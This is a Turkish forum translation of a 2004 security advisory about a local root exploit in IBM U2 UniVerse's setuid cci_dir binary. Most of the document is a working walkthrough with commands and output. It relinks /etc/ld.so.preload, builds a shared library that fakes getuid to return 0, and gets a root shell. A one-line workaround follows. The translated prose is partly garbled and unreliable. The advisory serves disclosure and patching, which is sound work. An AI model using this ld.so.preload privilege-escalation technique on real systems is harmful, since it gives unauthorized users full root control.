Root > Documents > Web Güvenlik Açıkları > IBM U2
Cyber-Warrior.Org \ Doküman \ Web Güvenlik Açıkları > IBM U2
Madde
  Yazar : ColaTurca
  Date : 23.11.2004 16:16:30
 
# IBM U2
 
IBM U2 UniVerse cci_dir creates hard links as root

Çeviren : Cyber-Warrior Haberci Grubu (ColaTurca)


IBM in yenilikçi olmasi sayesinde bunlar yayimlanmistir.

Bu sebebten dolayi ilk olarak geçmisten hatirladigimiz "Snosoft" u tekrar canlandirmaliyiz.

http://www.secnetops.biz bu adresten bakilabilir.


Amacimiz

Güncel olan bir çok güvenlik sistemleri vardir.bunlar örneklenirse, trusion

Detection Systems (IDS), Software Security Validation, and

Corporate/Private Network Security olarak siralayabilirz.Iste bizim amacimiz bu güvenlik sistemlerini kolaylastirmak ve en cazip hale getirmek.


Özetlenmis Baslik

Tavsiye edilen no: SRT2003-07-X-XXXX

Ürün: IBM U2 UniVerse

Version: Version <= 10.0.0.9 (DGUX = 7.3.2.1)

Satici: http://ibm.com/software/data/u2/universe/

Sinif:Yerel

Elestirirlik:Yüksek

Sysstem: DGUX, Linux

Yüksek seviye açiklamasi

cci_dir baslangiç için zor bir baglantidir.

Tekniksel Detaylar

Proof Of Concept Status

Database in öyle bir sekilde dizayn edilmistir ki ilgili istek alanlarini genisletebilir.

Operating sistemi kullaniciya genis bi alan sunabilmekte ve bu database le hacker dosyalari sistem çalisiyorken gönderebilir.Bu dosyalarin bilesiminde root a bir çok yol gösterebilir.

Bu da yalnizca çok bölünebilirligiyle mümkün olabilir.

http://digitaldefense.net bu adreste bu dediklerimi onaylamaktadir.

link("/etc/passwd", "/tmp/test") = -1 EXDEV (Invalid cross-device link

Bu link hata bildirimidir.

Bu sonuçlari örneklerle gösterebiliriz

[rootvegeta bin]# ls -al ./cci_dir

-rwsr-x--x 1 root bin 10328 Apr 3 21:57 ./cci_dir

[rootvegeta bin]# ltrace ./cci_dir USER_SUPPLIED USER_SUPPLIED2

...

link("USER_SUPPLIED", "USER_SUPPLIED2") = -1 kullanilmaz kiliyor.

rootvegeta bin]# touch a

[rootvegeta bin]# ltrace ./cci_dir a b

...

link("a", "b") = 0

unlink("a") = 0

Simdi bunlarin nasil uzlastigina bakalim.(ROOT LARIN)

Ilk hedefim etc/ld.so.preload. dir.Dosya zaten varoldugu için bu belgeleri birbirine baglayamamayiz.

kfvegeta kf]$ ls -al /etc/ld.so.preload

-rw-r--r-- 1 root root 0 Jul 7 20:03 /etc/ld.so.preload

[kfvegeta kf]$ /usr/ibm/uv/bin/cci_dir /etc/ld.so.preload isgone

Was unable to unlink file isgone/..

[kfvegeta kf]$ ls -al isgone

-rw-r--r-- 1 root root 0 Jul 7 20:03 isgone

[kfvegeta kf]$ ls -al /etc/ld.so.preload

ls: /etc/ld.so.preload:Böyle bir dosya bulunmamakta !

Simdide atak için hazirlanim dökümanlara bakalim

kfvegeta kf]$ cat > oops.c

int getuid(void)

{

return(0);

}

^C

[kfvegeta kf]$ gcc -c -o oops.o oops.c

[kfvegeta kf]$ ld -shared -o oops.so oops.o

[kfvegeta kf]$ cat > owned

/home/kf/oops.so

^C

Bu preload dökümanlarini bir tarafa kaydetmeniz gerekiyor.

kfvegeta kf]$ ls -al /etc/ld.so.preload

-rw-rw-r-- 1 kf kf 18 Jun 27 18:41 /etc/ld.so.preload

[kfvegeta kf]$ cat /etc/ld.so.preload

/home/kf/oops.so

Simdi kolayca root alabilirsiniz.

kfvegeta kf]$ su -

[rootvegeta root]# id

uid=0(root) gid=0(root) groups=0(root)


Patch or Workaround : chmod -s /usr/ibm/uv/bin/cci_dir
Bu bilgiler bir güvenlik sistemi tarafindan verilmistir.herhangi bir soru oldugunda yukardaki internet sayfasina bakilabilir

   
   
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©